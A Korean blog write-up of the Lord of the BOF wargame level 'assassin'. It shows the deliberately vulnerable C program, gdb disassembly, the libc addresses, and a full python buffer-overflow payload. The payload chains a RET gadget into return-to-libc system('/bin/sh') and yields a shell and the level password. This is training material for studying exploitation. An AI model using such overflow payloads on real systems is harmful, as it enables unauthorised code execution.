🗂️ INDEX

글 작성자: Universe7202

/*
        The Lord of the BOF : The Fellowship of the BOF
        - assassin
        - no stack, no RTL
*/

#include <stdio.h>
#include <stdlib.h>

main(int argc, char *argv[])
{
        char buffer[40];

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        if(argv[1][47] == '\xbf')
        {
                printf("stack retbayed you!\n");
                exit(0);
        }

        if(argv[1][47] == '\x40')
        {
                printf("library retbayed you, too!!\n");
                exit(0);
        }

        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);

        // buffer+sfp hunter
        memset(buffer, 0, 44);
}

이번 문제는 48번째 값에 스택주소와 공유 라이브러리 함수의 주소를 사용하지 못하게 끔 코딩 되어 있다.

하지만 이는 RET sled로 우회가 가능하다.

 

RET 주소를 알아내기 위해 gdb로 분석하면 RET의 주소는 0x804851e이다.

(gdb) disas main
Dump of assembler code for function main:
...
0x804850a <main+154>:   add    $0x8,%esp
0x804850d <main+157>:   push   $0x2c
0x804850f <main+159>:   push   $0x0
0x8048511 <main+161>:   lea    0xffffffd8(%ebp),%eax
0x8048514 <main+164>:   push   %eax
0x8048515 <main+165>:   call   0x8048398 <memset>
0x804851a <main+170>:   add    $0xc,%esp
0x804851d <main+173>:   leave  
0x804851e <main+174>:   ret   

 

RTL 공격을 위해 이전 풀이에서 system과 /bin/sh의 주소를 똑같은 방법으로 찾으면,

system() = 0x40058ae0

/bin/sh = 0x400fbff9

 

최종적인 payload 구조는 아래와 같다.

[Dummy Code(44)] + [&RET] + [&system] + [Dummy Code(4)] + [&/bin/sh]

위 구조를 참고해서 payload를 작성해서 shell을 획득한 것을 볼 수 있다.

[giant@localhost giant]$ ./assassin `python -c 'print "A"*44+"\x1e\x85\x04\x08"+"\xe0\x8a\x05\x40"+"BBBB"+"\xf9\xbf\x0f\x40"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@BBBB@
bash$ whoami
assassin
bash$ my-pass
euid = 515
pushing me away
bash$     

'🚩CTF' 카테고리의 다른 글

[pwnable.xyz] Welcome write up  (0) 2019.12.26
[LOB] - zombie_assassin -> succubus 풀이  (0) 2019.10.06
[LOB] - darkknight -> bugbear 풀이  (0) 2019.10.06
[LOB] - troll -> vampire 풀이  (0) 2019.10.05
[LOB] - orge -> troll 풀이  (0) 2019.10.05